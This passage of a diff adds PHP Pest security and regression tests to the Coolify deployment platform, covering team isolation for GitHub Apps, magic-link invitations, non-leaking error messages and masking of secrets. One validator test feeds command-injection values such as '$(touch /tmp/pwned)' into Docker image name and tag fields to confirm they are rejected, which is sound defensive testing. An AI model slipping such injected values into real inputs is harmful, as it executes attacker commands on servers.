$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$victimGithubApp = GithubApp::create([
'name' => 'Victim GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 98765,
'client_id' => 'victim-client-id',
'client_secret' => 'victim-client-secret',
'webhook_secret' => 'victim-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => false,
]);
Http::fake();
expect(fn () => Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $victimGithubApp->id)
)->toThrow(ModelNotFoundException::class);
Http::assertNothingSent();
});
test('mount lists another teams system wide github app', function () {
$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$systemWideGithubApp = GithubApp::create([
'name' => 'System Wide GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 98765,
'client_id' => 'system-client-id',
'client_secret' => 'system-client-secret',
'webhook_secret' => 'system-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => true,
]);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']);
expect($component->get('github_apps')->pluck('id')->all())
->toContain($this->githubApp->id)
->toContain($systemWideGithubApp->id);
});
test('loadRepositories can use another teams system wide github app', function () {
$victimTeam = Team::factory()->create();
$victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam);
$systemWideGithubApp = GithubApp::create([
'name' => 'System Wide GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 54321,
'installation_id' => 67890,
'client_id' => 'system-client-id',
'client_secret' => 'system-client-secret',
'webhook_secret' => 'system-webhook-secret',
'private_key_id' => $victimPrivateKey->id,
'team_id' => $victimTeam->id,
'is_public' => false,
'is_system_wide' => true,
]);
$repos = [
['id' => 1, 'name' => 'system-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $systemWideGithubApp->id)
->assertSet('current_step', 'repository')
->assertSet('total_repositories_count', 1)
->assertSet('selected_repository_id', 1);
});
test('github installation token is not stored as public component state', function () {
expect((new ReflectionClass(GithubPrivateRepository::class))->hasProperty('token'))->toBeFalse();
});
test('selected github app id cannot be tampered with from the client', function () {
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->set('selected_github_app_id', $this->githubApp->id);
})->throws(CannotUpdateLockedPropertyException::class);
test('loadRepositories can be called again to refresh the repository list', function () {
$initialRepos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
$updatedRepos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
['id' => 2, 'name' => 'beta-repo', 'owner' => ['login' => 'testuser']],
['id' => 3, 'name' => 'gamma-repo', 'owner' => ['login' => 'testuser']],
];
$callCount = 0;
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'Date' => now()->toRfc7231String(),
]),
'https://api.github.com/app/installations/67890/access_tokens' => Http::response([
'token' => 'fake-installation-token',
], 201),
'https://api.github.com/installation/repositories*' => function () use (&$callCount, $initialRepos, $updatedRepos) {
$callCount++;
$repos = $callCount === 1 ? $initialRepos : $updatedRepos;
return Http::response([
'total_count' => count($repos),
'repositories' => $repos,
], 200);
},
]);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_repositories_count', 1);
// Simulate new repos becoming available after changing access on GitHub
$component
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_repositories_count', 3)
->assertSet('current_step', 'repository');
});
test('loadRepositories resets branches when refreshing', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
$component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id);
// Manually set branches to simulate a previous branch load
$component->set('branches', collect([['name' => 'main'], ['name' => 'develop']]));
$component->set('total_branches_count', 2);
// Refresh repositories should reset branches
fakeGithubHttp($repos);
$component
->call('loadRepositories', $this->githubApp->id)
->assertSet('total_branches_count', 0)
->assertSet('branches', collect());
});
test('refresh button is visible when repositories are loaded', function () {
$repos = [
['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']],
];
fakeGithubHttp($repos);
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->call('loadRepositories', $this->githubApp->id)
->assertSee('Refresh Repository List');
});
test('refresh button is not visible before repositories are loaded', function () {
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->assertDontSee('Refresh Repository List');
});
});
+228 -4
View File
@@ -2,10 +2,13 @@
use App\Livewire\Source\Github\Change;
use App\Models\GithubApp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http;
use Livewire\Livewire;
uses(RefreshDatabase::class);
@@ -19,9 +22,45 @@ beforeEach(function () {
// Set current team
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
InstanceSettings::forceCreate([
'id' => 0,
'fqdn' => null,
'public_ipv4' => null,
'public_ipv6' => null,
]);
});
function validPrivateKey(): string
{
$key = openssl_pkey_new([
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
]);
openssl_pkey_export($key, $privateKey);
return $privateKey;
}
describe('GitHub Source Change Component', function () {
test('all github app form controls declare explicit authorization', function () {
$view = file_get_contents(resource_path('views/livewire/source/github/change.blade.php'));
preg_match_all(
'/<x-forms\.(button|input|select|checkbox)\b(?![^>]*\bcanGate=)[^>]*>/s',
$view,
$matches,
PREG_OFFSET_CAPTURE
);
$missingAuthorization = collect($matches[0])
->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0])))
->all();
expect($missingAuthorization)->toBeEmpty();
});
test('can mount with newly created github app with null app_id', function () {
// Create a GitHub app without app_id (simulating a newly created source)
$githubApp = GithubApp::create([
@@ -47,10 +86,130 @@ describe('GitHub Source Change Component', function () {
->assertSet('privateKeyId', null);
});
test('creates one-time states for manifest conversion and installation callbacks', function () {
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
$component = Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful();
$manifestState = $component->get('manifestState');
$installationUrl = getInstallationPath($githubApp);
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
$installState = $query['state'] ?? null;
expect($manifestState)->not->toBeEmpty()
->and($installState)->not->toBeEmpty()
->and($installState)->not->toBe($manifestState)
->and($installationUrl)->not->toContain($githubApp->uuid)
->and(Cache::get('github-app-setup-state:'.hash('sha256', $manifestState)))
->toMatchArray([
'action' => 'manifest',
'github_app_id' => $githubApp->id,
'team_id' => $githubApp->team_id,
])
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
->toMatchArray([
'action' => 'install',
'github_app_id' => $githubApp->id,
'team_id' => $githubApp->team_id,
]);
});
test('installation path is generated from the provided github app instance', function () {
$githubApp = new GithubApp;
$githubApp->forceFill([
'id' => 123,
'name' => 'Provided GitHub App',
'html_url' => 'https://github.example.com',
'team_id' => 456,
]);
$installationUrl = getInstallationPath($githubApp);
parse_str(parse_url($installationUrl, PHP_URL_QUERY), $query);
$installState = $query['state'] ?? null;
expect($installationUrl)->toStartWith('https://github.example.com/github-apps/provided-git-hub-app/installations/new?')
->and($installState)->not->toBeEmpty()
->and(Cache::get('github-app-setup-state:'.hash('sha256', $installState)))
->toMatchArray([
'action' => 'install',
'github_app_id' => 123,
'team_id' => 456,
]);
});
test('defaults webhook endpoint to app url when it is the first available endpoint', function () {
config(['app.url' => 'http://localhost:8000']);
InstanceSettings::findOrFail(0)->update([
'fqdn' => null,
'public_ipv4' => null,
'public_ipv6' => null,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('webhook_endpoint', 'http://localhost:8000');
});
test('custom webhook endpoint is selected explicitly with a checkbox', function () {
config(['app.url' => 'http://localhost:8000']);
InstanceSettings::findOrFail(0)->update([
'fqdn' => 'http://staging.example.com',
'public_ipv4' => '84.1.202.183',
'public_ipv6' => null,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'team_id' => $this->team->id,
'is_system_wide' => false,
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('use_custom_webhook_endpoint', false)
->set('custom_webhook_endpoint', 'https://staging.example.com')
->set('use_custom_webhook_endpoint', true)
->assertSet('webhook_endpoint', 'http://staging.example.com')
->assertSet('custom_webhook_endpoint', 'https://staging.example.com')
->assertSet('use_custom_webhook_endpoint', true)
->assertSee('Use custom webhook endpoint')
->assertSee('Selected endpoint')
->assertSee('Custom endpoint')
->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');
});
test('can mount with fully configured github app', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => 'test-private-key-content',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
@@ -84,7 +243,7 @@ describe('GitHub Source Change Component', function () {
test('can update github app from null to valid values', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => 'test-private-key-content',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
@@ -157,8 +316,8 @@ describe('GitHub Source Change Component', function () {
// Verify the database was updated
$githubApp->refresh();
expect($githubApp->app_id)->toBe('1234567890');
expect($githubApp->installation_id)->toBe('1234567890');
expect($githubApp->app_id)->toBe(1234567890);
expect($githubApp->installation_id)->toBe(1234567890);
});
test('checkPermissions validates required fields', function () {
@@ -179,6 +338,8 @@ describe('GitHub Source Change Component', function () {
->assertSuccessful()
->call('checkPermissions')
->assertDispatched('error', function ($event, $message) {
$message = is_array($message) ? implode(' ', $message) : $message;
return str_contains($message, 'App ID') && str_contains($message, 'Private Key');
});
});
@@ -202,7 +363,70 @@ describe('GitHub Source Change Component', function () {
->assertSuccessful()
->call('checkPermissions')
->assertDispatched('error', function ($event, $message) {
$message = is_array($message) ? implode(' ', $message) : $message;
return str_contains($message, 'Private Key not found');
});
});
test('checkPermissions syncs refetched permissions into input fields', function () {
$privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => validPrivateKey(),
'team_id' => $this->team->id,
]);
$githubApp = GithubApp::create([
'name' => 'Test GitHub App',
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'custom_user' => 'git',
'custom_port' => 22,
'app_id' => 12345,
'installation_id' => 67890,
'client_id' => 'test-client-id',
'client_secret' => 'test-client-secret',
'webhook_secret' => 'test-webhook-secret',
'private_key_id' => $privateKey->id,
'team_id' => $this->team->id,
'is_system_wide' => false,
'contents' => null,
'metadata' => null,
'pull_requests' => null,
]);
Http::preventStrayRequests();
Http::fake([
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
'date' => now()->toRfc7231String(),
]),
'https://api.github.com/app' => Http::response([
'permissions' => [
'contents' => 'read',
'metadata' => 'read',
'pull_requests' => 'write',
],
]),
]);
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
->test(Change::class)
->assertSuccessful()
->assertSet('name', 'test-git-hub-app')
->assertSet('contents', null)
->assertSet('metadata', null)
->assertSet('pullRequests', null)
->call('checkPermissions')
->assertDispatched('success')
->assertSet('name', 'test-git-hub-app')
->assertSet('contents', 'read')
->assertSet('metadata', 'read')
->assertSet('pullRequests', 'write');
$githubApp->refresh();
expect($githubApp->contents)->toBe('read')
->and($githubApp->metadata)->toBe('read')
->and($githubApp->pull_requests)->toBe('write');
});
});
+71
View File
@@ -446,3 +446,74 @@ describe('POST /api/v1/servers/hetzner', function () {
$response->assertStatus(401);
});
});
describe('error responses do not leak exception details', function () {
test('locations endpoint returns generic 500 message on upstream failure', function () {
Http::fake([
'https://api.hetzner.cloud/v1/locations*' => Http::response([
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'],
], 500),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
$response->assertStatus(500);
$response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']);
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
expect($response->getContent())->not->toContain('/var/secret/path');
});
test('server-types endpoint returns generic 500 message on upstream failure', function () {
Http::fake([
'https://api.hetzner.cloud/v1/server_types*' => Http::response([
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
], 500),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid);
$response->assertStatus(500);
$response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']);
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
});
test('images endpoint returns generic 500 message on upstream failure', function () {
Http::fake([
'https://api.hetzner.cloud/v1/images*' => Http::response([
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
], 500),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid);
$response->assertStatus(500);
$response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']);
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
});
test('ssh-keys endpoint returns generic 500 message on upstream failure', function () {
Http::fake([
'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
], 500),
]);
$response = $this->withHeaders([
'Authorization' => 'Bearer '.$this->bearerToken,
'Content-Type' => 'application/json',
])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid);
$response->assertStatus(500);
$response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']);
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
});
});
@@ -0,0 +1,73 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('creates application settings for internally created applications', function () {
$team = Team::factory()->create();
$project = Project::factory()->create([
'team_id' => $team->id,
]);
$environment = Environment::factory()->create([
'project_id' => $project->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
]);
$destination = $server->standaloneDockers()->firstOrFail();
$application = Application::create([
'name' => 'internal-app',
'git_repository' => 'https://github.com/coollabsio/coolify',
'git_branch' => 'main',
'build_pack' => 'nixpacks',
'ports_exposes' => '3000',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
$setting = ApplicationSetting::query()
->where('application_id', $application->id)
->first();
expect($application->environment_id)->toBe($environment->id);
expect($setting)->not->toBeNull();
expect($setting?->application_id)->toBe($application->id);
});
it('creates services with protected relationship ids in trusted internal paths', function () {
$team = Team::factory()->create();
$project = Project::factory()->create([
'team_id' => $team->id,
]);
$environment = Environment::factory()->create([
'project_id' => $project->id,
]);
$server = Server::factory()->create([
'team_id' => $team->id,
]);
$destination = $server->standaloneDockers()->firstOrFail();
$service = Service::create([
'docker_compose_raw' => 'services: {}',
'environment_id' => $environment->id,
'server_id' => $server->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
'service_type' => 'test-service',
]);
expect($service->environment_id)->toBe($environment->id);
expect($service->server_id)->toBe($server->id);
expect($service->destination_id)->toBe($destination->id);
expect($service->destination_type)->toBe($destination->getMorphClass());
});
@@ -0,0 +1,131 @@
<?php
use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\TeamInvitation;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Once;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
Config::set('app.maintenance.driver', 'file');
Config::set('cache.default', 'array');
Config::set('session.driver', 'array');
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->saveQuietly();
}
});
function createInvitationLinkFixture(array $invitationAttributes = []): array
{
$team = Team::factory()->create();
$password = 'temporary-password-123';
$user = User::factory()->create([
'email' => $invitationAttributes['email'] ?? 'invitee@example.com',
'password' => Hash::make($password),
'force_password_reset' => true,
'email_verified_at' => null,
]);
$uuid = (string) new Cuid2(32);
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
$link = route('auth.link', ['token' => $token]);
$invitation = TeamInvitation::create(array_merge([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => $link,
'via' => 'link',
], $invitationAttributes));
return [$team, $user, $password, $token, $invitation];
}
it('accepts a valid magic link invitation only once and rotates the temporary password', function () {
[$team, $user, $password, $token] = createInvitationLinkFixture();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('dashboard'));
$this->assertAuthenticatedAs($user);
$this->assertDatabaseMissing('team_invitations', ['email' => $user->email]);
expect($user->teams()->where('team_id', $team->id)->exists())->toBeTrue();
$user->refresh();
expect(Hash::check($password, $user->password))->toBeFalse();
auth()->logout();
session()->flush();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
});
it('rejects a magic link when the invitation was revoked', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->delete();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
expect($user->teams()->where('personal_team', false)->exists())->toBeFalse();
});
it('rejects a magic link when another invitation exists for the same email', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->delete();
$otherTeam = Team::factory()->create();
TeamInvitation::create([
'team_id' => $otherTeam->id,
'uuid' => (string) new Cuid2(32),
'email' => $user->email,
'role' => 'admin',
'link' => url('/invitations/other-invitation'),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
expect($user->teams()->where('team_id', $otherTeam->id)->exists())->toBeFalse();
});
it('rejects a magic link when the invitation expired', function () {
[, $user, , $token, $invitation] = createInvitationLinkFixture();
$invitation->forceFill([
'created_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
'updated_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
])->save();
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('login'));
$this->assertGuest();
$this->assertDatabaseMissing('team_invitations', ['id' => $invitation->id]);
});
it('rejects a malformed magic link token', function () {
$this->get(route('auth.link', ['token' => 'not-a-valid-token']))
->assertRedirect(route('login'));
$this->assertGuest();
});
@@ -0,0 +1,85 @@
<?php
use App\Http\Middleware\CheckForcePasswordReset;
use App\Http\Middleware\DecideWhatToDoWithUser;
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\TeamInvitation;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Config;
use Illuminate\Support\Facades\Crypt;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
Once::flush();
Config::set('app.maintenance.driver', 'file');
Config::set('cache.default', 'array');
Config::set('session.driver', 'array');
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->saveQuietly();
}
});
describe('invitation link login', function () {
test('does not auto-verify the email address', function () {
$team = Team::factory()->create();
$password = 'test-password-123';
$user = User::factory()->create([
'email' => 'invitee@example.com',
'password' => Hash::make($password),
'email_verified_at' => null,
]);
$user->teams()->attach($team->id, ['role' => 'member']);
$uuid = 'email-verification-test-invitation';
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
TeamInvitation::create([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => route('auth.link', ['token' => $token]),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]));
$user->refresh();
expect($user->email_verified_at)->toBeNull();
});
test('still logs the user in', function () {
$team = Team::factory()->create();
$password = 'test-password-123';
$user = User::factory()->create([
'email' => 'invitee2@example.com',
'password' => Hash::make($password),
'email_verified_at' => null,
]);
$user->teams()->attach($team->id, ['role' => 'member']);
$uuid = 'email-verification-login-test-invitation';
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
TeamInvitation::create([
'team_id' => $team->id,
'uuid' => $uuid,
'email' => $user->email,
'role' => 'member',
'link' => route('auth.link', ['token' => $token]),
'via' => 'link',
]);
$this->get(route('auth.link', ['token' => $token]))
->assertRedirect(route('dashboard'));
expect(auth()->id())->toBe($user->id);
});
});
@@ -0,0 +1,21 @@
<?php
use App\Livewire\Project\Application\General;
it('uses safe docker registry image validation rules in the application general form', function () {
$component = new General;
$method = new ReflectionMethod($component, 'rules');
$rules = $method->invoke($component);
$validator = validator([
'dockerRegistryImageName' => 'coolify/poc$(touch /tmp/pwned)',
'dockerRegistryImageTag' => 'latest$(touch /tmp/pwned)',
], [
'dockerRegistryImageName' => $rules['dockerRegistryImageName'],
'dockerRegistryImageTag' => $rules['dockerRegistryImageTag'],
]);
expect($validator->fails())->toBeTrue()
->and($validator->errors()->has('dockerRegistryImageName'))->toBeTrue()
->and($validator->errors()->has('dockerRegistryImageTag'))->toBeTrue();
});
@@ -0,0 +1,157 @@
<?php
use App\Livewire\Project\Shared\ConfigurationChecker;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Str;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function configurationCheckerApplication(Environment $environment, array $attributes = []): Application
{
return Application::factory()->create(array_merge([
'environment_id' => $environment->id,
'status' => 'running:healthy',
'build_command' => 'npm run build',
'fqdn' => 'https://example.com',
], $attributes));
}
function markConfigurationCheckerApplicationDeployed(Application $application): void
{
$deployment = ApplicationDeploymentQueue::create([
'application_id' => (string) $application->id,
'deployment_uuid' => (string) Str::uuid(),
'status' => 'finished',
'commit' => 'HEAD',
]);
$application->markDeploymentConfigurationApplied($deployment);
}
it('does not render the notification for preview deployment toggles', function () {
$application = configurationCheckerApplication($this->environment);
markConfigurationCheckerApplicationDeployed($application);
$application->settings->update(['is_preview_deployments_enabled' => true]);
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertDontSee('The latest deployment is not using the current configuration')
->assertSet('isConfigurationChanged', false);
});
it('renders the changed configuration labels', function () {
$application = configurationCheckerApplication($this->environment);
markConfigurationCheckerApplicationDeployed($application);
$application->update(['build_command' => 'pnpm build']);
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('The latest configuration has not been applied')
->assertSee('Build command')
->assertSee('A rebuild is required.');
});
it('refreshes configuration changes when the event is received', function () {
$application = configurationCheckerApplication($this->environment);
markConfigurationCheckerApplicationDeployed($application);
$component = Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSet('isConfigurationChanged', false)
->assertDontSee('The latest configuration has not been applied');
$application->update(['build_command' => 'pnpm build']);
$component
->dispatch('configurationChanged')
->assertSet('isConfigurationChanged', true)
->assertSee('The latest configuration has not been applied')
->assertSee('Build command');
});
it('refreshes stale modal configuration diff before opening changes', function () {
$application = configurationCheckerApplication($this->environment);
markConfigurationCheckerApplicationDeployed($application);
$application->update(['build_command' => 'pnpm build']);
$component = Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('Build command')
->assertDontSee('Start command');
$application->update([
'build_command' => 'npm run build',
'start_command' => 'node server.js',
]);
$component
->call('refreshConfigurationChanges')
->assertSet('isConfigurationChanged', true)
->assertSee('Start command')
->assertDontSee('Build command');
});
it('does not render environment variable secret values', function () {
$application = configurationCheckerApplication($this->environment);
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'old-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
markConfigurationCheckerApplicationDeployed($application->refresh());
$application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('API_TOKEN')
->assertSee('••••••••')
->assertDontSee('Hidden')
->assertDontSee('old-secret')
->assertDontSee('new-secret');
});
it('renders added environment variables as set without exposing secret values', function () {
$application = configurationCheckerApplication($this->environment);
markConfigurationCheckerApplicationDeployed($application);
EnvironmentVariable::create([
'key' => 'API_TOKEN',
'value' => 'new-secret',
'is_buildtime' => false,
'is_runtime' => true,
'is_preview' => false,
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
]);
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
->assertSee('API_TOKEN')
->assertSee('From')
->assertSee('-')
->assertSee('To')
->assertSee('••••••••')
->assertDontSee('Hidden')
->assertDontSee('new-secret');
});
@@ -0,0 +1,108 @@
<?php
use App\Livewire\Project\Application\Advanced;
use App\Models\Application;
use App\Models\ApplicationSetting;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
function createApplicationForAdvancedStopGracePeriodTest(): Application
{
$team = Team::factory()->create();
$server = Server::factory()->create(['team_id' => $team->id]);
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
return Application::create([
'name' => 'stop-grace-period-test-app',
'git_repository' => 'https://github.com/coollabsio/coolify',
'git_branch' => 'main',
'build_pack' => 'nixpacks',
'ports_exposes' => '3000',
'environment_id' => $environment->id,
'destination_id' => $server->standaloneDockers()->firstOrFail()->id,
'destination_type' => $server->standaloneDockers()->firstOrFail()->getMorphClass(),
]);
}
beforeEach(function () {
$this->actingAs(User::factory()->create());
});
it('saves a valid stop grace period', function () {
$application = createApplicationForAdvancedStopGracePeriodTest();
Livewire::test(Advanced::class, ['application' => $application])
->set('stopGracePeriod', '300')
->call('saveStopGracePeriod')
->assertHasNoErrors()
->assertDispatched('success');
expect($application->settings()->first()->stop_grace_period)->toBe(300);
});
it('dispatches configuration changed when advanced settings are saved', function () {
$application = createApplicationForAdvancedStopGracePeriodTest();
Livewire::test(Advanced::class, ['application' => $application])
->set('includeSourceCommitInBuild', true)
->call('submit')
->assertHasNoErrors()
->assertDispatched('configurationChanged');
});
it('clears the stop grace period when submitted empty', function () {
$application = createApplicationForAdvancedStopGracePeriodTest();
$application->settings->update(['stop_grace_period' => 300]);
Livewire::test(Advanced::class, ['application' => $application->fresh()])
->set('stopGracePeriod', '')
->call('saveStopGracePeriod')
->assertHasNoErrors()
->assertDispatched('success');
expect($application->settings()->first()->stop_grace_period)->toBeNull();
});
it('rejects invalid stop grace periods', function (string $value, string $rule) {
$application = createApplicationForAdvancedStopGracePeriodTest();
Livewire::test(Advanced::class, ['application' => $application])
->set('stopGracePeriod', $value)
->call('saveStopGracePeriod')
->assertHasErrors(['stopGracePeriod' => [$rule]]);
expect($application->settings()->first()->stop_grace_period)->toBeNull();
})->with([
'below minimum' => ['0', 'min'],
'above maximum' => [(string) (MAX_STOP_GRACE_PERIOD_SECONDS + 1), 'max'],
'malformed integer' => ['10abc', 'integer'],
